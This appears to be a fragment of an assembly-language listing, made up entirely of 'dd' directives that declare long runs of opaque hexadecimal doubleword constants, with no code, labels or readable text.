dd 395CB203h, 0D08502FFh, 4D99D0h, 44067936h, 6B3F88BBh
dd 1B3270E1h, 0C37B7C01h, 0DB16D50Dh, 0F000F221h, 75C591Ch
dd 97E2E16Ch, 2CE0D37Ch, 0BD3694E8h, 2128B598h, 9E05C8BBh
dd 1BBC668Bh, 99D4D040h, 0A095DAh, 0C5815A02h, 0CCD95EF5h
dd 0ABFE6E02h, 486886EEh, 276224h, 52E091A9h, 90B3C4A5h
dd 1742BF00h, 0C95DEE65h, 0AF7C02CEh, 2EF61A61h, 0A87BAAC0h
dd 4232F100h, 0BF3F4686h, 1020F79h, 57A04ADBh, 0D9C36508h
dd 0D3E4E50Bh, 4C2B032Fh, 1154A8D6h, 718D803Bh, 3A72C400h
dd 0CBFC5186h, 0EBD93CEDh, 0A84B7400h, 0CD16AE04h, 8089C30Ah
dd 560E9F97h, 0D77480EBh, 0E42699h, 5FA51A5Bh, 403187DBh
dd 7F486A18h, 410420E0h, 0A428D067h, 31528915h, 2CA34CA0h
dd 0D6007BF7h, 0B117C9E2h, 756900DBh, 0D126C550h, 9E006241h
dd 0A3310353h, 0C44482h, 6CD7B7E9h, 2DCF97CBh, 8261D83Ch
dd 908AA84Eh, 58CC494Fh, 872AE980h, 0EA5EE703h, 73A36204h
dd 1C804F45h, 6EC684FEh, 8C8006F0h, 90A75329h, 0CD613416h
dd 0B01587FAh, 0ACF20BC2h, 17AF0405h, 0D4006351h, 0D1C725D0h
dd 0F7D80077h, 0AB241453h, 9B121E70h, 40B828h, 0FA233440h
dd 55150772h, 9480EF89h, 0E9C8801Bh, 0B00A81E5h, 88DFB59Bh
dd 45157100h, 3A25847Dh, 94A64630h, 0CCEA8030h, 0F54BF2FEh
dd 0A83C5500h, 5779745Ch, 0E5690001h, 0B21C031h, 600CF41h
dd 0FA50A68Eh, 1D2B1C8h, 371DDD60h, 0D113487Bh, 0E2A1D0C0h
dd 8FF06926h, 22391A00h, 7965DDDEh, 361900F1h, 0EE3D6771h
dd 34008B60h, 5D6E7FCEh, 7438315h, 42FD02Eh, 1C004923h
dd 0F87B90DFh, 88C97E07h, 0CDB062DCh, 0D8C6FBh, 0EF22CF38h
dd 0F3DFCA72h, 0DD00ADEEh, 0A864BACh, 733BBB99h, 467C04AAh
dd 0C395AE50h, 5BD01DE7h, 6006DE68h, 6DFDC358h, 7DD92680h
dd 4D890E5Ch, 667CF9Fh, 2D23E643h, 9C398190h, 402C200h
dd 0FCAD0310h, 0A0705087h, 4916016Fh, 0D1FD271Fh, 37F88112h
dd 0E2DD9738h, 0B631F0h, 0AA06B515h, 36D47991h, 83CB9300h
dd 84D65A5Dh, 87280137h, 3DAAC804h, 5E42D4DBh, 0FEDCE501h
dd 0B054B617h, 48807424h, 796A89h, 39D29787h, 0FA55C7FBh
dd 489C070Ah, 0B109C6FDh, 6A4D0053h, 60D32861h, 0EED41126h
dd 7C00B608h, 0A01C3114h, 12223865h, 9C3CD7h, 0F554F79Ch
dd 7902957Dh, 5605A38Ah, 6C604072h, 1F63093Bh, 4020D874h
dd 5CC6A99h, 2B986200h, 0CB2FD740h, 675118F0h, 8ABAB109h
dd 0FB75E100h, 1F98EC0Ah, 4F36002Ch, 2BF71A7Ah, 181534CEh
dd 39C8CEFh, 0BB09FD81h, 406A8C8h, 6C8E0073h, 0A1A5F8Dh
dd 0D100A12Ah, 0E44E6392h, 7A25BC85h, 0C88E009Bh, 0BD5310EBh
dd 500BB78h, 0E683DA67h, 0E888BAh, 16217A23h, 17315D25h
dd 80BD5E39h, 0D36342A7h, 5DD237Fh, 77AB808Dh, 0F06AC0C8h
dd 3F038C9Dh, 0B1EEF630h, 43A2905Dh, 0CA6A1DFAh, 485E4024h
dd 852E5587h, 0E1307012h, 0C1751C0Fh, 0E72D7F79h, 6F653887h
dd 0B3CE64h, 874D98DCh, 8A74C1ABh, 0EFBA8302h, 80722C3Fh
dd 0D5A6DDA8h, 0E97A04h, 991A9FF5h, 0F24E7C96h, 53F1B800h
dd 5E60A21Eh, 1FCF1C9Ah, 64E500CDh, 7480C67Ch, 73E07E00h
dd 0A0B563A6h, 9C570071h, 7DBFE4C1h, 0DE72B65Ah, 7A7CA558h
dd 0C6EAA27Bh, 1C2E081Fh, 2AA061C0h, 4C4895DFh, 1A008027h
dd 98CAE0EEh, 0A70CBFD5h, 0A093F17Bh, 0D29400ECh, 0BB97E46Dh
dd 764DD408h, 0E11008Ch, 844158CCh, 0D29D003Ah, 4495B2FCh
dd 0A3003C86h, 42CA15D7h, 0F9965A5h, 29F5B592h, 0FBC78780h
dd 3A481E68h, 0C38E0070h, 0E64F6DF0h, 94B0FCh, 686F82E0h
dd 0E450EB84h, 7BF671C0h, 183196Ah, 68BE33C3h, 0CB4EEB86h
dd 7DF0210Bh, 0DDA4A76Ah, 0E4AB8B30h, 0E8B5E87Fh, 24F0182Dh
dd 25EB216Bh, 736A1CA0h, 68B80A0Eh, 4F809CCBh, 0E7858290h
dd 32EC26AAh, 8B5900DDh, 0D7E18D68h, 2A00E6EAh, 92DE5B90h
dd 122F66Fh, 4A5ABC6Bh, 0F4C0860Dh, 8B01179Bh, 0AA124563h
dd 0EFCCEB5Fh, 236418C5h, 0E0A039E3h, 0B014CB0Bh, 0E6DC2063h
dd 636A902Bh, 0D372905Bh, 617DB6A3h, 4FBBFE00h, 394EFD21h
dd 619E1EBEh, 87724069h, 1520C056h, 649AF90Bh, 5B010A5Ah
dd 8C79A43Dh, 89D24B04h, 58B710C0h, 11A800AFh, 5AED71F9h
dd 9803D56Dh, 0B0AABA63h, 15A1B049h, 0D0800E66h, 0B70032C6h
dd 0B6895E3Dh, 80128F3Eh
dd 76EDAAABh, 77B5CFA7h, 5808020Dh, 5110B231h, 4559D040h
dd 81CD2400h, 0C5FA1B7Ch, 0BF860090h, 0A772BAFCh, 0A500DB50h
dd 0C6631E0Bh, 11735C0h, 62B6D84Dh, 0D87A61FEh, 0D7006B7Eh
dd 0F114B7Bh, 50AFFB3Ch, 255F9DC1h, 0A83E8241h, 0C5276E01h
dd 697FA593h, 0B606198Eh, 9408AD29h, 0CFEB0CD0h, 0D0BAEF08h
dd 0B6BDAC04h, 6E809168h, 7C7EF9C4h, 8CCF09E9h, 1A004BF6h
dd 9E6661E6h, 3AB7980Eh, 974F6306h, 0E340008Fh, 0F95C0C10h
dd 0EB24FC99h, 610AA0E7h, 0AF00A165h, 0BAF158EAh, 779902FAh
dd 0A6C3EE13h, 0C275209Eh, 0DF620C8Ch, 4D20C888h, 2B2F6712h
dd 0AC97C820h, 68B9262Ah, 0F09003C0h, 98A30BA2h, 0B4A42100h
dd 0FBB1112Ah, 3A2F00E9h, 640C4707h, 7D7A5F48h, 3DEC010Eh
dd 0B44BC08Bh, 506F4D49h, 0B41A430h, 40F71255h, 77DE9400h
dd 760CE0D4h, 61ED2B60h, 28F83ECBh, 31703F03h, 0E9D84913h
dd 5A15779Ch, 1CC15EAh, 0E2032605h, 39B283D8h, 0AA302DC8h
dd 68C31C2Ah, 9491610Bh, 2AB2387Fh, 0FA80330Ah, 213B80DCh
dd 53C087F2h, 48431607h, 967012EDh, 1FEAF8Eh, 394CE311h
dd 0D9E22162h, 0F5399D99h, 0A5DEC5C7h, 3FB8031Fh, 72A9008Eh
dd 0C342658h, 6B19C3A3h, 8908AB13h, 0A0D32184h, 0DD998026h
dd 0F9B89C88h, 9024E800h, 0B52DD43Eh, 0E73D03C6h, 0A3D3F751h
dd 0BDB6A7D0h, 48599324h, 0A9B1C2C7h, 0EE189FE4h, 0C9A088h
dd 0C27D4AB6h, 0E0E1F8D7h, 0C68824h, 20976D00h, 0C078D011h
dd 66FDAA10h, 24E7CFC2h, 2E0FC784h, 0C3E05F4Eh, 30E8EB6Fh
dd 0A7216B09h, 4A004E37h, 0F8F544DDh, 691055h, 28150178h
dd 0DC6FDE3Bh, 2AF48050h, 183EB44h, 6E37B0DFh, 0D1B33695h
dd 57BDD098h, 64F6081Fh, 0BB351D01h, 71BADE50h, 39DC660Ah
dd 15B10144h, 4EAF513Ah, 94078488h, 891A6B30h, 0DD86C600h
dd 9F40A2F6h, 0A1E2602Bh, 0A8B47068h, 0D7DE411Ch, 23735901h
dd 0F29FAE77h, 6C0C8906h, 6AA97800h, 0BD4894DFh, 547204C8h
dd 0F0818143h, 90DE93C4h, 10B6B94Ch, 0E0A7E4ACh, 0B6C09Fh
dd 960232EFh, 39A03CA3h, 41E8F39h, 7F093814h, 9531B091h
dd 0F1123C20h, 0F48EB183h, 78007663h, 0B861077h, 0F099F1h
dd 3A9B2884h, 7042660Fh, 40C3F426h, 440814A4h, 0DC8003C5h
dd 18166E77h, 982113F5h, 7F3063B1h, 0E0211237h, 0BDD84934h
dd 6036B804h, 23BC2AAFh, 9A11A368h, 2AB73700h, 7EB14969h
dd 0DCB46E1Bh, 0B88895D1h, 1FA40352h, 0E706F5DFh, 5EC83912h
dd 7AE23440h, 116CEB5h, 0EE14841Ah, 0CEA7867Fh, 6467F8C8h
dd 0B68CEB00h, 0DB1A3FBCh, 0DABB0033h, 3C2EECB0h, 6304B3B8h
dd 62DA95Ah, 0A7C2C490h, 303890B5h, 7718AF5Dh, 92353CB6h
dd 62F0816Dh, 2B31CA0Ch, 4A93408Ch, 800DD7Bh, 200649AFh
dd 502D0F8Ah, 135D9091h, 14826C14h, 181080FCh, 64070B9Dh
dd 82A30FD6h, 6887E65Ah, 0FFF59104h, 0B0E87185h, 698E0215h
dd 0C8412721h, 84718BFh, 0C2E06C4Eh, 0A44073C4h, 0C0104E30h
dd 946149E4h, 61689178h, 449021B1h, 0FF120884h, 23342E04h
dd 8F670074h, 5C646C46h, 7F0F260h, 0CF1441h, 50207BAFh
dd 0E810E408h, 0F8385C58h, 6008C9Fh, 0F4DB2F6Ah, 24C4C74Dh
dd 10787222h, 0CC8F0B87h, 5AA40030h, 900D2865h, 93649C2Ch
dd 8B770D22h, 6EC32F0h, 0F6F7FC0Bh, 0E18F06B0h, 0A06CA010h
dd 39E8E230h, 0DEEE4A67h, 54880331h, 700694D3h, 6A1558E9h
dd 444C9A30h, 0BD01B8DAh, 64068926h, 60A4F8E8h, 4200DEA8h
dd 4A61755Eh, 6193B0CFh, 300754FFh, 8E788468h, 0D8931F4Ch
dd 1D7F04Bh, 0F04A1EE2h, 512C8590h, 8914C1ABh, 0DF544178h
dd 0BCBC5023h, 0F2EDE57h, 6004C169h, 0F09851B3h, 0ADA501C8h
dd 0B8611DBFh, 658470C4h, 0B6DEA1C0h, 7C3EB14h, 0A746F358h
dd 0C7640182h, 0A8037F9h, 0FC04DF69h, 35A05798h, 0AFDC196Eh
dd 2308B975h, 0FE00688h, 0A38090A9h, 49A0107Ch, 6DC20083h
dd 8B8FE394h, 0F8F7497Fh, 0C05BFB1Fh, 0BFF6AC7Dh, 0A600A0ECh
dd 924BC728h, 0A4896B2h, 0F4CFFC08h, 60BD44C4h, 235E4E31h
dd 6D1132E0h, 4E3AA600h, 7C1083DBh, 0A1122AB0h, 840E52Ch
dd 0BB82A99Ah, 0F4850088h, 79DF463Dh, 40093CE6h, 82F336C9h
dd 287605A4h, 35A0FCEh, 8437B727h, 4DD8A4F0h, 0EEC25B0h
dd 23207C5Ch, 265100B1h, 0C2FB0C49h, 0D87E4486h, 0E5265904h
dd 0C862C0Ch, 56A07E9h, 2BF607C5h, 0EC6E1010h, 2C80FB20h
dd 47C42B4Bh, 0CF081C77h, 20115F60h, 39C8FFFh, 9B8AD95Ah
dd 80E035B7h, 0B5004C07h, 0E137A95Fh, 26FA1572h, 80F86ED7h
dd 54DDE49h, 0FB547F77h, 0C1FC43D0h, 3A4F4100h, 0F45FF152h
dd 85DD02CDh, 35D2B7D4h, 76C2FCC2h, 0C0C56805h, 10AB8722h
dd 274CF700h, 8D0783E0h, 6613DEFh, 48CB1A82h, 0A04451B4h
dd 90E25A18h, 12DC5441h, 4CABC6Bh, 0D19CDFB0h, 807C2B74h
dd 1CFEFFF1h, 18A7B81h, 0CCF59D7Ah, 30DC4C60h, 0EF405DE0h
dd 0E014100Bh, 0B6007C9Ah, 3878F0B9h, 4D4C6EA0h, 40003C13h
dd 1C9A2D14h, 0CA3AF28Fh, 0D2A71428h, 552A3DD4h, 656C41A8h
dd 895902E1h, 6FF8AEE0h, 6DDCC4E2h, 4BF69080h, 9EBF26C1h
dd 6B9103D4h, 400C6CA9h, 0E18D755Ah, 0E6DA1F05h, 5468431Dh
dd 8878721Bh, 0FD819B04h, 0B0C2AFC3h, 2AA93030h, 1368C209h
dd 3FE8450Bh, 0AE2AB180h, 23B5792Eh, 1D8BE903h, 9B08EBDBh
dd 0DFC008B4h, 5039628h, 0B23B1664h, 0C3160E9h, 745B5CAAh
dd 0C30F5A23h, 17E4A4B6h, 93F461h, 0F6B6CA9Dh, 7AC60B60h
dd 98F9518h, 4F9233E5h, 0DE8606ACh, 61FB5EDFh, 1164ED60h
dd 208249B5h, 0EFDAE4ADh, 942068C0h, 59146380h, 9445BC28h
dd 30398802h, 0B7112AAEh, 9988AB68h, 2AB63687h, 413170C0h
dd 80271806h, 6AA5D95Eh, 447A3B01h, 1EA0ED08h, 0D606BC40h
dd 0E47016B1h, 0A01051E3h, 0BAC40104h, 883CCE77h, 91BBC06Eh
dd 570FEC2Dh, 0E40DC03Fh, 1090D5E4h, 0E686910h, 0BA9163A2h
dd 4E600256h, 0B0C9F2B3h, 9B0183Bh, 9B68BD2Ah, 3000001Ch
dd 0FDF2AB8h, 0AD0EB29h, 8B9DE1BFh, 9E46749Ch, 0B2056E00h
dd 44C1D360h, 0BDBB8700h, 327F068Eh, 8464D5E0h, 0CBFC071Fh
dd 84827D63h, 0FC2993DDh, 313717E3h, 305522B4h, 0B700F28Fh
dd 0AD5D3EE2h, 59146E7Ch, 0DC50B0A8h, 399D42DDh, 2C62CAB4h
dd 22F47066h, 0D7008B43h, 241BD51Dh, 399AFh, 49B657C4h
dd 316FBB5Ch, 16B2B904h, 70CBB432h, 450F0475h, 91E36909h
dd 0ECBE466Ch, 50C734Ah, 795F7F5Eh, 0CFFE002Dh, 0B2B85471h
dd 0B40241A5h, 0E0E4AF50h, 81859A0h, 65098713h, 0C064CD42h
dd 87E0D5DFh, 84EA0C28h, 21705A31h, 6872E1E2h, 0E352610Eh
dd 0A9B8372Ah, 18F3D1DCh, 6427145Ah, 3C4CA72Eh, 0B805D414h
dd 638011h, 576B6634h, 2086A74h, 0B4228AE7h, 0D880FA40h
dd 9BA50FD8h, 0B4302181h, 440DD07h, 0D08E4C77h, 88C0B734h
dd 10ACE832h, 78A47B0Dh, 4684D894h, 2023B4CAh, 0F661ACDFh
dd 1DB06314h, 0A4250354h, 0BC61A7FCh, 0CFFC42B6h, 0A665FC59h
dd 0EDBFBC00h, 6991393h, 911F6EFh, 0DE12D0AFh, 88202C26h
dd 0FA398DA6h, 2090B854h, 0BA0BE685h, 3E3B1h, 8B26E8D9h
dd 9A30C04Ah, 58E22E86h, 0D0C4112Eh, 1369D380h, 1891A3CAh
dd 20AD52AEh, 0F0805949h, 187C94h, 25EC0812h, 0C49FACD1h
dd 57E4680Ch, 0F8EBE073h
dd 0A4C81F85h, 374C0B9Eh, 7FE3F8A0h, 78585A9Fh, 0B88BC8h
dd 5706709Ch, 0FEC988Bh, 26EA08DAh, 0C910C041h, 0C5C08085h
dd 58829EAEh, 895C6121h, 0C8FC728Dh, 1027F58Ah, 5A082492h
dd 0DDF8240h, 70051D36h, 0ACA2D88h, 1F7AA680h, 90C84B4Eh
dd 88D9FCA4h, 0BA4AF03h, 0ECE4E2C4h, 0AA2D9058h, 68C0447Eh
dd 0CB4A9C65h, 74DD00DEh, 0C8CA216Dh, 0E11E7F5Ch, 8EC10C45h
dd 8DE9C457h, 0E0FFEF0h, 0E8794E60h, 0EC40F18Fh, 0C0DBCA08h
dd 5BF5DC0Eh, 41C5EC7Fh, 0B50300F7h, 8DE06E0Eh, 2A7EA7D3h
dd 70B94F0Eh, 0AD2C80E3h, 5F3B43h, 0D8609A03h, 5D8F0266h
dd 5C19BE00h, 4F382456h, 83BA033Fh, 1063BD5Eh, 84741801h
dd 75F0CD69h, 41E12Bh, 0E8D22C18h, 0DFB7FF0Ch, 1588ACh
dd 2DCA0FD1h, 1E1195A5h, 0FFCCA806h, 20AD57h, 0D513F541h
dd 0CF66D064h, 0BAE46200h, 0FA2CEDE6h, 8B1C0707h, 90D846C2h
dd 45D69860h, 0E88CB60h, 6119C5DBh, 49E4F8F3h, 0ACF4D055h
dd 0D6F1E600h, 9F01CDC2h, 3B9E003Dh, 4D35F054h, 0F1F423Eh
dd 5A00A2F5h, 0D5F74B5Eh, 12D0FF1h, 1D208799h, 6658B289h
dd 0FA009BF6h, 16B3BD2Fh, 0F2CCA62Dh, 4DE6018Dh, 0A2995B2Ch
dd 0DB98C5F5h, 173A61C0h, 55398F01h, 0DD3229F9h, 996D088Ch
dd 0E1073620h, 852D8216h, 0CFECD300h, 0B8750107h, 3D21185Dh
dd 1288EA2h, 0D591D8D6h, 350A000Ch, 3045C3D8h, 443C8972h
dd 929600A3h, 0A516C8B8h, 9BC618E9h, 5A346901h, 0AEFD9EC0h
dd 6C4AE550h, 0CB0B80Dh, 0E802F643h, 0E5399516h, 0C106B31h
dd 5D00164Fh, 33CF75E7h, 0C5A7E38h, 0CBFA39C5h, 80AC9D51h
dd 94165702h, 19FA2D39h, 0E237106Eh, 9B240B16h, 0AD01FF4Ch
dd 41153FD4h, 7052758Dh, 7701F533h, 0C2DD9C08h, 0A4E011BDh
dd 29D800C8h, 35BF4A96h, 0FE009893h, 6C888490h, 1CE7EEEh
dd 0E4C194DFh, 0ECD0F913h, 4AFA4543h, 80231E39h, 0D3115B51h
dd 0EB12C8h, 96BAAD74h, 243F92E6h, 0F61F942Fh, 9FDA0F25h
dd 74851DC0h, 3B004C57h, 0F1039CB0h, 0EE68B6Eh, 0E889BDBCh
dd 0B89FDD00h, 7D0E4374h, 0C06B69B5h, 5E58A9Bh, 84B9003Eh
dd 0D2088F72h, 3700BCB0h, 5AFDE8ABh, 2B2242Dh, 0A65F92E1h
dd 66E07D96h, 0E30E81C5h, 80CB0597h, 9844585Ah, 548B0040h
dd 2A53675Fh, 51033D5Eh, 6C61F93Bh, 0FA200742h, 60A0A1B8h
dd 0A6ACD622h, 90642C00h, 835935F4h, 0CD2E003Ch, 401EFC12h
dd 3B034107h, 8D42855h, 8CC5D8C4h, 0EC8500F0h, 755A7358h
dd 0A006586h, 34E1BA74h, 998D36h, 0F029A684h, 0F31E937Fh
dd 0EA094A00h, 7B4775CAh, 14BA00B9h, 41782681h, 0AE00AD93h
dd 774BFD1Dh, 244F9Eh, 0E12E0B54h, 4352D73h, 30019500h
dd 600E287Bh, 226800FCh, 1781712Eh, 0A41EB450h, 0FF801D31h
dd 0EBBE492Ch, 24BA0057h, 8B37834Ah, 610725CBh, 2B048ED9h
dd 46F3C670h, 7E620E5Bh, 6806753h, 52A3161Ch, 8E023490h
dd 5B7B54DCh, 69AB4003h, 6C3C0E62h, 0F3461E64h, 60050D9h
dd 60DE5DE7h, 4CA643h, 5797896Ah, 8145F85Fh, 3E5058h, 0C7745837h
dd 91FE12h, 6BFF4442h, 227334EBh, 50726800h, 7DCBD49h
dd 8D1200D2h, 4F998E4Dh, 930040E2h, 0D0E3336h, 6F3713h
dd 78ACD57h, 0B5C7D667h, 767CFAE2h, 71DCCB00h, 9BB1A2AAh
dd 65283053h, 60917D11h, 7BF925Ch, 0A8A1A05Ah, 0CAFBC2C0h
dd 95C077Bh, 20751CD1h, 202F21DEh, 4E0BD8A0h, 8300C278h
dd 0EBBA2E31h, 0F00ED9F5h, 84CC01C7h, 3C1BF4EDh, 1721D462h
dd 0E7313200h, 0F377676Fh, 45780060h, 41059A1Bh, 0DE0064E3h
dd 37F0FCEAh, 915C1h, 49594DBBh, 845E6A9Ch, 8AE30F00h
dd 241BB55Fh, 552200F9h, 90A0BD73h, 7B0F1556h, 0A0676457h
dd 0D14B3FA1h, 9D3B00EEh, 0D8FA6143h, 0D30BC1A0h, 106727h
dd 7E550CF8h, 907F45h, 0EDD52808h, 7F1EB4E8h, 91336800h
dd 0B9CB438Fh, 381B12F5h, 0B6C70E6Eh, 26002DABh, 11531AABh
dd 0DEE1CC00h, 577139C2h, 16D209D7h, 5A00F14Ch, 0C05EDABFh
dd 8FB7A901h, 62FE9F83h, 18A2F0h, 5CDEEAACh, 0CD553897h
dd 0E4B03600h, 2EAD124Bh, 5E9B1267h, 0C92C032Ch, 8C882191h
dd 57003E53h, 0F92544FCh, 5206C09h, 528662BEh, 9C89C079h
dd 0FD03937Ch, 99C74B50h, 71C5C806h, 733F8DCh, 0D34587DAh
dd 0D8D13095h, 0B900A0ABh, 81856FF3h, 166B031Dh, 8C1AAh
dd 0E3B45591h, 5E300CECh, 17CA90F2h, 6FECB5h, 0DAD4CD2Ch
dd 7D56D23Bh, 2442B100h, 0A54D7186h, 506C001Dh, 0C5851FFBh
dd 6B0F14B2h, 0A0DA2DECh, 452B8B25h, 0D5B08Eh, 884114Ah
dd 0DCDEBF15h, 9F39F8E8h, 0B72A806Eh, 22710186h, 6FD80058h
dd 0BBFD51A6h, 827744DCh, 0A0E34E00h, 587AEE6Bh, 352D4829h
dd 39EBD303h, 0A3874156h, 1000D29Dh, 0DDB32A19h, 18C283F6h
dd 18D1A66Bh, 0BE0266C3h, 5F03F8B5h, 1D3C401Ch, 9B4F4050h
dd 74355406h, 493E08h, 0A4BC1532h, 0CD13DBBEh, 7D57C00h
dd 7F901724h, 0EEEB00B4h, 0CF02FA29h, 0E0244F4h, 0B5CBD2Ah
dd 4DC48780h, 950925F0h, 0F3780069h, 3E30A7B3h, 0A100ED44h
dd 939D61EBh, 0D15F6Bh, 0C145BDE1h, 0F5240C5Dh, 0DE31D600h
dd 58AF8C6Eh, 96C902Eh, 9DF1ADF3h, 8331D025h, 52A1E087h
dd 0CE477076h, 0BACDB401h, 7C4E5946h, 2C7FAC30h, 35D275Ch
dd 0EACAF528h, 0F86CBFB1h, 0B85CC0A8h, 0FE4E00EAh, 80170E45h
dd 220B0CAh, 0DD42FA13h, 37E07615h, 7E00A40Ch, 2F81E810h
dd 3C5EC28h, 23F3C4F6h, 40C8ADCAh, 1D906765h, 7AE07F00h
dd 0AA8074F8h, 99F11F2Fh, 0A058B0F3h, 0DCE69334h, 3141F93Fh
dd 9EB0084Ah, 1CC20h, 0FBC305DDh, 7DEA53Dh, 0EF287E02h
dd 601DF8AEh, 710E244h, 1824912Ch, 0E0A8C0B7h, 0C70E4E29h
dd 0E02B145Dh, 6C0E8AB0h, 44F2ACh, 0DCE8F388h, 0B70B1B2Ah
dd 82D7F607h, 6E147040h, 5E57B680h, 290A0486h, 0C02B2211h
dd 1418EE34h, 0BFAB6800h, 2B66C59h, 3F780BE5h, 0CD002767h
dd 0F11403C8h, 0A9F3706h, 9C7046h, 7E54F2D2h, 52FA8932h
dd 8F56411Fh, 57CAF870h, 69443B12h, 0BE509600h, 9737F26Bh
dd 218B9401h, 0E721F3Bh, 125CC4h, 0CC7F6E49h, 54350339h
dd 0C56C5D00h, 40DCC6AAh, 0CBF5002Dh, 3CE53E10h, 967ECDA1h
dd 72636F26h, 8E0D5A00h, 2DC4BAEh, 0CFC7FECCh, 0C0A0CEE3h
dd 2236C349h, 0AF0710E6h, 5B2B2A4Eh, 0D687DFC0h, 1386334Fh
dd 1C06F11h, 0AB079638h, 0F764B1D9h, 8DBED181h, 0C0E42ED4h
dd 281FE6D9h, 0D0031725h, 1339038h, 0B070FF20h, 0C76F8327h
dd 76D6C629h, 0A34958E7h, 0FDB80034h, 0AEA2CFADh, 0B737001Fh
dd 0C4D00D67h, 0CA7375A7h, 42B3DF06h, 7838E2BDh, 0CFDC14B2h
dd 0E70668E1h, 50A7363Ch, 0AE00B579h, 0ACFBF1C8h, 28C3B78Bh
dd 8C103AE7h, 174D0084h, 227FBBD7h, 75009F6Fh, 2CFB85CCh
dd 7640FF5Dh, 42CD00F0h, 7C49E1D4h, 3200C375h, 8DBBDBF1h
dd 0E4B8DCD0h, 1E4400D3h, 2C2553A5h, 0EE03837Ah, 0FFCBCC4Fh
dd 0E8DDE8E1h, 406F0028h, 0B8B170A4h, 491F78ECh, 771D3D58h
dd 5FB2C600h, 718FED3h, 0BCC1E430h, 0EA3710BAh, 76008FAAh
dd 8E012E1Dh, 0DEFF13h, 73C1526Ah, 575CD79Dh, 0EE87B700h
dd 8B0E4866h, 742B2E3Bh, 2AD900F4h, 153414CFh, 0FD08C207h
dd 0A16FFE6h, 37070146h, 0A1DD3570h, 7865E073h, 40325400h
dd 2F3DE045h
dd 7F94A8D4h, 13E0A83Fh, 0ED20044h, 1DF3B3ACh, 9F0142B9h
dd 0AD738A14h, 7BFCA0EFh, 0DE40050h, 2C946599h, 0A2744A42h
dd 5E02F0F0h, 0A65F5AF7h, 44C8A037h, 8ACF7Dh, 2994470Ch
dd 0BA7F20D8h, 0DC099678h, 23A6BBE4h, 0C18C2E14h, 1180A4B6h
dd 6E663140h, 6300ED05h, 36EC104Bh, 0C592718h, 0D0C85FF0h
dd 9207A5C1h, 2BBB2AFh, 0FF10DF21h, 7EEBE70h, 0E3F93108h
dd 947DA39Eh, 61C8D7B0h, 0BADA39C2h, 27F3832Eh, 0C62DE869h
dd 0B85CECAAh, 0FFC50064h, 0FADF591h, 0DF00184Dh, 27190316h
dd 2437CE24h, 8090BAC8h, 0DC9B48A8h, 7B00DAF3h, 538D5F59h
dd 0E2230F32h, 5FC038Ah, 31E1BB33h, 4122C000h, 0C6F6DE4Bh
dd 206B12D8h, 0BC910C06h, 0C1007151h, 6FE5F344h, 0CA9C2Ah
dd 2FA38DCEh, 0A235AF18h, 15B32200h, 99F041E8h, 9B0601E7h
dd 981CD30Eh, 0B7A053AAh, 0DB2B69C0h, 0BE0611Fh, 63EE3B40h
dd 0C1C8D42Ch, 0CFB87989h, 36884865h, 30ED9401h, 0F3B04B91h
dd 1F1C3E0h, 18C74CF6h, 50420531h, 0EDA4697Ch, 0F2011B01h
dd 5EC25FD2h, 2C807D8h, 65AB11AFh, 4484E61h, 0E7031252h
dd 203214D3h, 77800E86h, 7C80ACFEh, 0AF283805h, 0AE22CD18h
dd 39335C1h, 41CCD2A5h, 77D047F6h, 0A86F9778h, 3E344021h
dd 0AB73ACh, 16D86039h, 0BBE12964h, 0CFA7040Dh, 36F8A9B9h
dd 0A2C400CAh, 6853F731h, 8B00A61Dh, 4427AEFAh, 7FB6096Dh
dd 5CA748D3h, 51AB7E80h, 0ED0DF052h, 0C058E123h, 907C7D30h
dd 11F47974h, 44AC33h, 0CC6DF304h, 474C405h, 7F260C02h
dd 10AC90E2h, 0D71CAA90h, 27C88EFh, 86AC870Ah, 5D8480C5h
dd 0B8E7C4h, 91320619h, 0D01341EAh, 943E943Ch, 3FF4E94Ah
dd 90DF00C9h, 8A449BB6h, 0A06340CFh, 21EBF21Fh, 0DDE9D7C0h
dd 1916D0Ah, 1A268C94h, 83CC2D3Eh, 19635B29h, 99C46067h
dd 0CE9BBA2Fh, 3FFEC31Fh, 6A19E118h, 2B9C1F1Ch, 0C9185E4Bh
dd 0CC10229Eh, 8F2CD8AAh, 3B3ED4D2h, 39AD802Dh, 0CE628EFh
dd 30D2AEh, 59127C67h, 4C31A9A0h, 66A659D6h, 26809855h
dd 0EBC07Dh, 52E6A94Bh, 0BFAF3F24h, 9386270Eh, 6F2623E1h
dd 0D05000BAh, 8C135D14h, 0E90147C1h, 5E40503Dh, 2032C3E4h
dd 8EA411Eh, 0B380A5B5h, 0F198196Fh, 4B10C0C8h, 0B6584159h
dd 9640101h, 0D18C76EBh, 5B037E8Ch, 84ABA0h, 20176369h
dd 0D7229F89h, 0DC01F100h, 4419147h, 0B899763Ch, 54BCE262h
dd 114B068h, 0BAEC2661h, 0F017FC65h, 0AD61C9E4h, 7A4CAB91h
dd 0C1F88450h, 959588Bh, 75A48050h, 1E34008Ah, 0E4F015BBh
dd 39C73CC2h, 5805211h, 0C0497FE9h, 6863A141h, 7E00E597h
dd 0BE59CB25h, 1D695376h, 88426ABh, 0C380A221h, 0E0B17C03h
dd 70CB6EF6h, 0BB5B1A22h, 0D10CD042h, 2E014728h, 0AB015F5Ch
dd 7D203C35h, 7173607Eh, 74189A03h, 1B846E00h, 97CB022Eh
dd 19F6003Bh, 3E0EB9B0h, 0A081D02Ah, 14089020h, 9043D323h
dd 6537CE22h, 8A8F51F7h, 6C8E0C2Eh, 0F9EF2040h, 14C079Bh
dd 0FDF38DA4h, 22D93D85h, 41760160h, 48E2D6CEh, 0F18FC8BFh
dd 770CAB10h, 0BC2AE459h, 0E7F8F8F8h, 223C39D4h, 0C06EC044h
dd 9F641B99h, 1D9B3900h, 0E18C31E7h, 9997E463h, 91E802A0h
dd 80552911h, 82BDE6CEh, 37180150h, 2F3C593Eh, 64604167h
dd 0C61803Bh, 9BF6F01Dh, 0C30B811h, 467F6674h, 1000EE89h
dd 0A1DCB260h, 1E0ED26h, 1B2EF0A5h, 20D4FE07h, 7F319EF4h
dd 0FA97316Eh, 8617E0FBh, 0D8D5007Eh, 6DDDC89Fh, 0A9121827h
dd 0CC2097BDh, 3D67F33h, 1F0F7CD4h, 0FCD85C81h, 0B0A02C32h
dd 0E451AB51h, 22CFD544h, 0E1120094h, 3218B93Bh, 0A0A45EC5h
dd 0BFFC3582h, 3F146F00h, 0A9D3835Bh, 60914Eh, 9FED76F9h
dd 0B95CA618h, 0E60302C6h, 0C00B08F0h, 214E9F0h, 8692AEF2h
dd 2A42EA9Bh, 0CBAF902Eh, 7837B700h, 0F10A42BEh, 0A0E90F92h
